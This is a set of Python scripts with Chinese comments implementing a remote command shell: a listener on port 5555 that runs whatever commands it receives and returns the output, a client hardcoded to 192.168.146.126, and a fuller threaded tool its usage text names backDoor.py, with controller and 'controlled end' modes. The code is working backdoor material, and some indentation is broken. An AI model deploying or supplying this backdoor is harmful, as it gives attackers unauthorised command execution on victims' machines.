import socket
import os
ip = ""# 空表示可連接所有主機(jī)
port = 5555  # 設(shè)置端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對象s 使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 關(guān)閉后不需要保存狀態(tài)可以立即開啟
s.bind((ip, port))  # 對象s 開始綁定ip和端口
s.listen(10)  # 啟動監(jiān)聽狀態(tài)，設(shè)置隊列中等待連接服務(wù)器的最大請求數(shù)10
conn, addr = s.accept() # 當(dāng)與別人建立連接 addr,conn 變量分別存對方ip和連接的對象
print("已建立遠(yuǎn)程連接：", addr)  # 顯示對方地址
while True:
 data = conn.recv(1024)  # 接收對方字符串 #如果對方不發(fā)數(shù)據(jù)會卡住
 if data == b"q":  # 接收到程序終止信號則中斷連接
  break
 data = str(data, encoding="utf8")  # 將數(shù)據(jù)轉(zhuǎn)換為字符串類型
 print("遠(yuǎn)程主機(jī)請求的命令：", data)
 f = os.popen(data)  # 可以將命令的內(nèi)容以讀取的方式返回
 data2 = f.read()
 if data2 == "":
  conn.send(b"finish")
 else:
  conn.send(bytes(data2, encoding="utf8"))  # 發(fā)送命令運行結(jié)果
conn.close()  # 斷開連接
s.close()  # 關(guān)閉套結(jié)字

import socket
ip = "192.168.146.126"  # 對方服務(wù)器ip地址
port = 5555 # 對方服務(wù)器的端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 對象s使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字
s.connect((ip, port))# 創(chuàng)建socket連接
while True:
 data = input("請輸入命令：")
 data = bytes(data, encoding="utf8")
 s.send(data) # 發(fā)送數(shù)據(jù)給對方
 data2 = s.recv(1024)  # 接收返回的數(shù)據(jù)
 print(str(data2, encoding="utf8"))
 if data == b"q":
  break
s.close()

getopt(args, shortopts, longopts = [])

import socket
import getopt
import sys
import subprocess
from threading import Thread

def main():
 target = ""  # 目標(biāo)IP
 port = 0  # 目標(biāo)端口
 listen = False
 help = False
 # 利用getopt模塊從命令行獲取參數(shù)，sys.argv[1:]可以過濾掉第一個參數(shù)（第一個參數(shù)是腳本的名稱，它不應(yīng)該作為參數(shù)進(jìn)行解析）
 opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
 for o, a in opts:
  if o == "-t":
target = a
  elif o == "-p":
port = int(a)
  elif o == "-h":
help = True
  elif o == "-l":
listen = True
  else:
# 斷言，傳入的參數(shù)有誤
assert False, "Unhandled Option"
 # 輸出幫助文檔
 if help:
  usage()
 # 獲分客戶端和服務(wù)端
 if listen:
  server_handle(port)
 else:
  client_handle(target, port)

# 受控端
def server_handle(port):
 # 創(chuàng)建socket通道
 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 # 綁定
 server.bind(('0.0.0.0', port))
 # 監(jiān)聽
 server.listen(10)
 print("[*] Listening on 0.0.0.0:%d" % port)
 while True:
  client_socket, addr = server.accept()
  print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
  t = Thread(target=run_command, args=(client_socket, server,))
  t.start()

# 控制端,發(fā)送命令，接收受控端命令行的回顯內(nèi)容
def client_handle(target, port):
 # 創(chuàng)建socket通道
 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 # 連接服務(wù)器
 client.connect((target, port))
 # 接收數(shù)據(jù)
 while True:
  recv_len = 1
  # 接收到的數(shù)據(jù)是utf-8
  resBuffer = "".encode('utf-8')
  while recv_len:
data = client.recv(4096)
recv_len = len(data)
resBuffer += data
if recv_len < 4096:
 break
  # 在windows下中文會亂碼，所以轉(zhuǎn)成GBK
  print(resBuffer.decode('gbk'), end="")
  # 接收命令，發(fā)送命令需要將命令轉(zhuǎn)成byte，并且編碼是utf-8
  buffer = input("")
  if buffer.encode('utf-8') == b"quit":
break
  buffer += "\n"
  client.send(buffer.encode('utf-8'))
 client.close()

# 執(zhí)行命令涵數(shù)
def run_command(client_socket,s):
 while True:
  # 發(fā)送命令給客戶端
  client_socket.send(b"shell_>")
  # 定義接收命令byte類型變量
  cmd_buffer = "".encode('utf-8')
  # 接收客戶端發(fā)過來的消息，直到預(yù)到換行，代表客戶端消息輸入完成
  while b"\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
  if cmd_buffer == b"quit":
break
  # 將完整的byte變量消息轉(zhuǎn)成字符串
  cmd_buffer = cmd_buffer.decode()
  try:
# 通過隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù)
out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
# 將返回的數(shù)據(jù)發(fā)送給客戶端
client_socket.send(out)
  except:
client_socket.send(b"faild to execute the command")
 client_socket.close()  # 斷開連接
 s.close()  # 關(guān)閉套結(jié)字
 exit(0)

# 輸出幫助信息
def usage():
 print("help info : python backDoor.py -h")
 print("client : python backDoor.py -t [target] -p [port]")
 print("server : python backDoor.py -lp [port]")
 print("Exit ：Input quit to exit ")
 sys.exit()

if __name__ == "__main__":
 main()